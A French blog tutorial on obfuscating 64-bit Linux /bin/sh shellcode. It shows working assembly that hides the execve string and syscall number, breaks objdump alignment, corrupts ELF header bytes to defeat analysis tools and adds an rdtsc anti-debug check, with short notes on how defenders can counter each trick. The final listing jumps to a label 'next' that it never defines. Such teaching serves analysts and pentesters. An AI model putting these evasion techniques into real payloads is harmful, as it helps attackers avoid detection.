Linux shellcode 64 bits – Obfuscation

L’objet de cette série d’articles est d’aborder quelques techniques d’évasion pour des shellcodes (une connaissance minimale sur les shellcodes est donc un prérequis).

Ces techniques sont susceptibles d’intéresser les pentesters mais aussi les cyberdéfenseurs dans leur lutte quotidienne contre les attaques informatiques.

Une petite précision par rapport aux codes sources. Le code présenté ici n’est pas 100% « exploit safe », c’est à dire que je n’ai pas systématiquement vérifié l’absence de zéros dans les opcodes générés.

Par exemple ce mov n’est pas exploit safe car il génère des opcodes avec des zéros :

48 c7 c0 01 00 00 00    mov    rax,0x1

Mais ce code-ci qui aboutit au même résultat est lui « exploit safe » :

48 31 c0            xor    rax,rax
b0 01               mov    al,0x1

OK, prenons pour exemple un shellcode classique dont le but est de lancer un shell /bin/sh

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64basic.nasm -o sc64basic.o
; $ ld sc64basic.o -o sc64basic
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
	mov rcx, 0x68732f6e69622f 
	push rcx                    ; push the immediate value stored in rcx onto the stack
	xor rdx, rdx
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
	mov al, 0x3b
	syscall                     ; make the syscall

Un tel shellcode est facilement repérable car :

  • la chaîne de caractères /bin/sh ou ici sa version little endian hs/nib apparaît en clair dans le registre rcx
  • l’appel à la fonction système execve 0x3b est repérable directement

Obfuscation

Afin de contourner ce problème, un attaquant peut utiliser plusieurs techniques comme l’obfuscation.

On remplace tout ce qui est facilement identifiable  comme la chaine de caractère /bin/sh et l’appel système execve 0x3b par un code différent mais qui aboutit au même résultat.

Au fait, dans ce genre, il y a quelques trucs pour remplacer les classiques XOR ou PUSH, cela peut aider à passer du pattern-matching :

XOR

Un xor rax, rax peut se remplacer par :

 mov rbx, rax
 sub rax, rbx

PUSH

Un  push rax peut se remplacer par :

 mov qword [rsp - 8], rax
 sub rsp, 8

Pour masquer la chaine /bin/sh, on peut par exemple imaginer une addition de deux registres donnant comme résultat la valeur souhaitée 0x68732f6e69622f.  Et pour faire cette addition on peut ajouter un peu de fun en utilisant une instruction MMX ou bien du SSE/SSE2.

Quant à l’appel système avec 0x3b dans le registre AL, là aussi on peut se dire qu’on ne met pas directement cette valeur dans AL mais qu’on y arrive avec une addition.

Voici un exemple de code avec ces modifications.

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64v1.nasm -o sc64v1.o
; $ ld sc64v1.o -o sc64v1
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
        ; Obfuscate value with a simple addition
        ;  68 73 2f 6e 69 62 2f
        ; - 50 53 01 42 4a 50 02  X value
        ; = 18 20 2e 2c 1f 12 2d  Y value

	mov rcx, 0x69505301424a5002   ; X value is padded with a random value, 0x69
	movq mm0, rcx                 ; build the string value using MMX add instruction for obfuscation
	mov rcx, 0x6918202e2c1f122d   ; Y value is padded with a random value, 0x69
	movq mm1, rcx
	paddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs/nib/  
	movq rcx, mm0
	emms                        ; return to FPU mode
	xor rdx, rdx                ; zero out rdx for an execve argument 
        shl rcx, 0x08               ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00) 
	mov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al
        shr rcx, 0x08               ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib)
	push rcx                    ; push the immediate value stored in rcx onto the stack
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
        add al, 0x0b		    ; move 0x3b into al (execve syscall)
	syscall                     ; make the syscall

Cyberdéfense

Le pattern-matching risque d’échouer car le code est obfusqué.

Un dump du code ne permet plus de voir d’un simple coup d’oeil qu’il s’agit d’un appel à /bin/sh néanmoins en suivant pas à pas les instructions avec gdb on y arrive aisément.

Anti-dump 

Un attaquant aura vite trouvé une solution pour perturber les dumpers de code et les debuggers.

Une solution simple pour pertuber la commande objdump sous Linux, est d’ajouter un opcode incomplet (par exemple prendre un opcode qui tient normalement sur 2 octets et de n’en prendre qu’un seul) puis de passer par dessus avec un jump :

	jmp begin+1	

begin: 
	db 0xe9	; E9 is opcode for jmp to disalign disassembly like objdump
        suite du code

Le nouveau shellcode avec cet anti-dump :

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64v2.nasm -o sc64v2.o
; $ ld sc64v2.o -o sc64v2
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
        ; Obfuscate value with a simple addition
        ;  68 73 2f 6e 69 62 2f
        ; - 50 53 01 42 4a 50 02  X value
        ; = 18 20 2e 2c 1f 12 2d  Y value
	jmp begin+1	

begin: 
	db 0xe9			      ; E9 is opcode for jmp to disalign disassembly
	
        mov rcx, 0x69505301424a5002   ; X value is padded with a random value, 0x69 
	movq mm0, rcx                 ; build the string value using MMX add instruction for obfuscation
	mov rcx, 0x6918202e2c1f122d   ; Y value is padded with a random value, 0x69
	movq mm1, rcx
	paddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs/nib/ 
	movq rcx, mm0
	emms                        ; return to FPU mode
	xor rdx, rdx                ; zero out rdx for an execve argument
        shl rcx, 0x08               ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00)
	mov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al
        shr rcx, 0x08               ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib)
	push rcx                    ; push the immediate value stored in rcx onto the stack
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
        add al, 0x0b		    ; move 0x3b into al (execve syscall)
	syscall                     ; make the syscall

Lançons un objdump pour voir le résultat.

On voit que l’ajout de l’opcode 0xE9 a perturbé l’alignement d’objdump, le code dumpé ne correspond pas au code source :

objdump -D sc64blog

sc64blog:     format de fichier elf64-x86-64


Déassemblage de la section .text :

0000000000400080 <_start>:
  400080:	eb 01                	jmp    400083 <begin+0x1>

0000000000400082 :
  400082:	e9 48 b9 02 50       	jmpq   5042b9cf <_end+0x4fe2b917>
  400087:	4a                   	rex.WX
  400088:	42 01 53 50          	rex.X add %edx,0x50(%rbx)
  40008c:	00 48 0f             	add    %cl,0xf(%rax)
  40008f:	6e                   	outsb  %ds:(%rsi),(%dx)
  400090:	c1 48 b9 2d          	rorl   $0x2d,-0x47(%rax)
  400094:	12 1f                	adc    (%rdi),%bl
  400096:	2c 2e                	sub    $0x2e,%al
  400098:	20 18                	and    %bl,(%rax)
  40009a:	00 48 0f             	add    %cl,0xf(%rax)
  40009d:	6e                   	outsb  %ds:(%rsi),(%dx)
  40009e:	c9                   	leaveq 
  40009f:	0f dc c1             	paddusb %mm1,%mm0
  4000a2:	48 0f 7e c1          	movq   %mm0,%rcx
  4000a6:	0f 77                	emms   
  4000a8:	48 31 d2             	xor    %rdx,%rdx
  4000ab:	b0 30                	mov    $0x30,%al
  4000ad:	51                   	push   %rcx
  4000ae:	48 8d 3c 24          	lea    (%rsp),%rdi
  4000b2:	04 0b                	add    $0xb,%al
  4000b4:	0f 05                	syscall 

Cyberdéfense

Il suffit de lancer le debugger gdb et de tracer les instructions pas à pas.

Anti-debugger

Là encore un attaquant peut empêcher le bon fonctionnement de gdb de plusieurs façons.

Si le shellcode ne fait pas partie d’un exploit mais est un exécutable :

On peut manipuler le header ELF du binaire et  fait croire qu’il s’agit d’un binaire 32 bits alors qu’il s’agit en réalité d’un binaire 64 bits. Dans le même ordre d’idée on peut modifier un autre bit du header ELF pour indiquer qu’il s’agit d’un code pour une plateforme en big endian alors qu’il s’agit en réalité d’un binaire pour une plateforme en little endian.

Ces modifications perturbent bon nombre d’outils mais n’empêchent pas le binaire de fonctionner normalement !

Tout d’abord, on vérifie les informations présentes avec la commande readelf, on voit bien qu’il s’agit d’un 64 bits little endian :

readelf -h ./sc64v2
En-tête ELF:
  Magique:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Classe:                            ELF64
  Données:                          complément à 2, système à octets de poids faible d'abord (little endian)
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  Version ABI:                       0
  Type:                              EXEC (fichier exécutable)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Adresse du point d'entrée:         0x400080
  Début des en-têtes de programme :  64 (octets dans le fichier)
  Début des en-têtes de section :    464 (octets dans le fichier)
  Fanions:                           0x0
  Taille de cet en-tête:             64 (octets)
  Taille de l'en-tête du programme:  56 (octets)
  Nombre d'en-tête du programme:     1
  Taille des en-têtes de section:    64 (octets)
  Nombre d'en-têtes de section:      5
  Table d'indexes des chaînes d'en-tête de section: 4

Pour modifier le header, on peut utiliser n’importe quel éditeur hexadécimal, j’ai choisi ici l’outil hexcurse :

Le 5ième octet définit le format 32 ou 64 bits : (1) 32Bits (2) 64Bits. On modifie le 5ième octet et on le passe à 1.

Le 6ième octet définit l’endianness : (1) LSB (2) MSB. On modifie le 6ième octet et on le passe à 2.

Testons ces modifs avec quelques commandes linux classiques :

  • file

la commande file est perturbée

file sc64
sc64elf: ELF 32-bit MSB *unknown arch 0x3e00* (SYSV)
  • readelf

Il croit qu’il s’agit d’un executable 32 bits pour big endian :

En-tête ELF:
  Magique:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  Classe:                            ELF32
  Données:                          complément à 2, système à octets de poids fort d'abord (big endian)
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  Version ABI:                       0
  Type:                              : 200
  Machine:                           : 0x3e00
  Version:                           0x1000000
  Adresse du point d'entrée:         0x80004000
  Début des en-têtes de programme :  0 (octets dans le fichier)
  Début des en-têtes de section :    1073741824 (octets dans le fichier)
  Fanions:                           0x0
  Taille de cet en-tête:             53249 (octets)
  Taille de l'en-tête du programme:  0 (octets)
  Nombre d'en-tête du programme:     0
  Taille des en-têtes de section:    0 (octets)
  Nombre d'en-têtes de section:      0
  Table d'indexes des chaînes d'en-tête de section: 0
readelf: AVERTISSEMENT: en-tête ELF peut-être endommagé – il a un offset non nul pour l'en-tête de section mais pas d'en-tête de section
  • objdump

Objdump plante :

objdump -M intel -D ./sc64
objdump: ./sc64: Fichier tronqué

  • gdb

gdb plante également :

gdb ./sc64 
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
"/root/shellcodes/./sc64": not in executable format: Fichier tronqué
(gdb) 

Que le shellcode fasse partie d’un exploit ou bien soit un binaire exécutable, il est possible de perturber le débugger gdb de multiples façons.

Une des méthodes est de se baser sur le temps. On calcule le temps d’exécution et si ce n’est pas le temps attendu, on exit :

	rdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
	xor ecx,ecx                 ; sets ECX to zero
	add ecx,eax                 ; save timestamp to ECX
	rdtsc                       ; get another timestamp
	sub eax,ecx                 ; compute elapsed ticks
	cmp eax,0xFFF		    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
	jl next
	retn			    ; program crash

Voici le shellcode en intégrant la technique anti-dump et anti-debug :

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64v3.nasm -o sc64v3.o
; $ ld sc64v3.o -o sc64v3
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
        ; Obfuscate value with a simple addition
        ;  68 73 2f 6e 69 62 2f
        ; - 50 53 01 42 4a 50 02  X value
        ; = 18 20 2e 2c 1f 12 2d  Y value
	jmp begin+1	

begin: 
	db 0xe9			    ; E9 is opcode for jmp to disalign disassembly

	rdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
	xor ecx,ecx                 ; sets ECX to zero
	add ecx,eax                 ; save timestamp to ECX
	rdtsc                       ; get another timestamp
	sub eax,ecx                 ; compute elapsed ticks
	cmp eax,0xFFF		    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
	jl next
	retn			    ; program crash

	mov rcx, 0x69505301424a5002   ; X value is padded with a random value, 0x69 
	movq mm0, rcx                 ; build the string value using MMX add instruction for obfuscation
	mov rcx, 0x6918202e2c1f122d   ; Y value is padded with a random value, 0x69
	movq mm1, rcx
	paddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs/nib/ 
	movq rcx, mm0
	emms                        ; return to FPU mode
	xor rdx, rdx                ; zero out rdx for an execve argument
        shl rcx, 0x08               ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00)
	mov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al
        shr rcx, 0x08               ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib)
	push rcx                    ; push the immediate value stored in rcx onto the stack
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
        add al, 0x0b		    ; move 0x3b into al (execve syscall)
	syscall                     ; make the syscall

Cyberdéfense

Si objdump ou gdb se plante dès le début,  jettez un oeil au header ELF.

Si en traçant pas à pas gdb crash, pensez à faire des jump par dessus du code anti-debug.

Voila, après avoir vu rapidement quelques techniques d’obfuscation, nous verrons dans le prochain article quelques techniques d’encodage.